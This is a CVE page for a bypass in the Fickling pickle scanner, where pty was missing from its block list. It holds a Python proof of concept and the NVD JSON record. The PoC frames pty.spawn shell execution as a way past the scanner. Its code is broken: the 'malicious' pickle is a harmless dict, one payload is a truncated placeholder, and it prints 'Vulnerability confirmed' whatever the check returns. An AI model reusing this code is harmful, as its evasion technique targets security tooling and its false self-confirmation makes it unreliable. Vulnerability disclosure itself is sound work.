CVE-2025-67748

#!/usr/bin/env python3 """ CVE-2025-67748 PoC - Fickling pty module bypass This PoC demonstrates how a malicious pickle using pty.spawn() can bypass Fickling's security checks in versions < 0.1.6 """ import pickle import pickletools import base64 def create_malicious_pickle(): """ Create a malicious pickle that uses pty.spawn() to execute commands. When analyzed by vulnerable Fickling versions, this will be incorrectly flagged as LIKELY_SAFE. """ # Malicious code using pty.spawn() malicious_code = ''' import pty import os # This will spawn a shell and execute arbitrary commands pty.spawn(['sh', '-c', 'echo pwned > /tmp/pwned.txt']) ''' # Create the pickle using reduce to execute arbitrary code # This is a simplified example; actual exploitation may vary malicious_pickle = pickle.dumps({ 'pty_module': 'pty', 'spawn_func': 'pty.spawn', 'command': ['sh', '-c', 'echo vulnerable > /tmp/cve-2025-67748.txt'] }) return malicious_pickle def demonstrate_bypass(): """ Demonstrate how the vulnerability allows bypassing Fickling checks. """ try: # Import Fickling from fickling.fickling import Fickling # Create malicious pickle mal_pickle = create_malicious_pickle() # Try to analyze with Fickling # In vulnerable versions, this will incorrectly pass f = Fickling.load(mal_pickle) # Check the analysis result is_safe = f.check() print(f"Fickling check result: {'LIKELY_SAFE' if is_safe else 'POTENTIALLY_DANGEROUS'}") print(f"Vulnerability confirmed: The malicious pickle bypassed security checks!") except ImportError: print("Fickling not installed. Install with: pip install fickling") print("\nManual verification:") print("1. Create a pickle using pty.spawn()") print("2. Analyze with Fickling.check()") print("3. Observe that it incorrectly reports LIKELY_SAFE") def alternative_poc(): """ Alternative PoC using direct pickle construction with pty.spawn() """ # This creates a pickle that when unpickled will execute pty.spawn() import builtins # Construct the exploit pickle # The actual implementation would use pickle opcodes to call pty.spawn exploit = b"\x80\x04\x95..." # Pickle bytecode for pty.spawn() print("Alternative PoC method:") print("- Construct pickle with pty.spawn(['id'])") print("- Use Fickling to analyze") print("- Observe bypass in vulnerable versions") if __name__ == "__main__": print("=" * 60) print("CVE-2025-67748 - Fickling pty module bypass PoC") print("=" * 60) demonstrate_bypass()

{"cve": {"id": "CVE-2025-67748", "sourceIdentifier": "[email protected]", "published": "2025-12-16T01:15:52.950", "lastModified": "2026-01-02T15:58:53.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fickling is a Python pickling decompiler and static analyzer. Versions prior to 0.1.6 had a bypass caused by `pty` missing from the block list of unsafe module imports. This led to unsafe pickles based on `pty.spawn()` being incorrectly flagged as `LIKELY_SAFE`, and was fixed in version 0.1.6. This impacted any user or system that used Fickling to vet pickle files for security issues."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-184"}, {"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:trailofbits:fickling:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.1.6", "matchCriteriaId": "D557CCB3-8AC7-4BA6-BE40-5B51A216F56B"}]}]}], "references": [{"url": "https://github.com/trailofbits/fickling/pull/108", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/trailofbits/fickling/pull/187", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-r7v6-mfhq-g3m2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}